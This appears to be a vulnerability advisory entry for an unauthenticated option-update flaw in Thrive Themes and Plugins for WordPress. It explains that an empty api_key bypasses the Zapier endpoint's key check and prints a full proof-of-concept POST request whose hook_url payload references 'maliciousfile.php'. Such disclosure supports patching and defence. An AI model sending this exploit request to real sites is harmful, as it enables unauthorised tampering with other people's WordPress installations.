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Chloe Chamberland, Ram Gall, Charles SweethillWPEX-ID:35ACD2D8-85FC-4AF5-8F6C-224FA7D92900

HistoryMar 24, 2021 - 12:00 a.m.

All Thrive Themes and Plugins - Unauthenticated Option Update

2021-03-2400:00:00

Chloe Chamberland, Ram Gall, Charles Sweethill

330

0.001 Low

EPSS

Percentile

38.8%

JSON

The plugins and themes register a REST API endpoint associated with Zapier functionality. While this endpoint was intended to require an API key in order to access, it was possible to access it by supplying an empty api_key parameter in vulnerable versions if Zapier was not enabled. Attackers could use this endpoint to add arbitrary data to a predefined option in the wp_options table.

POST /wp-json/td/v1/optin/subscription HTTP/1.1
Host: [URL]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 54

hook_url={"http:\/\/key":"maliciousfile.php"}&api_key=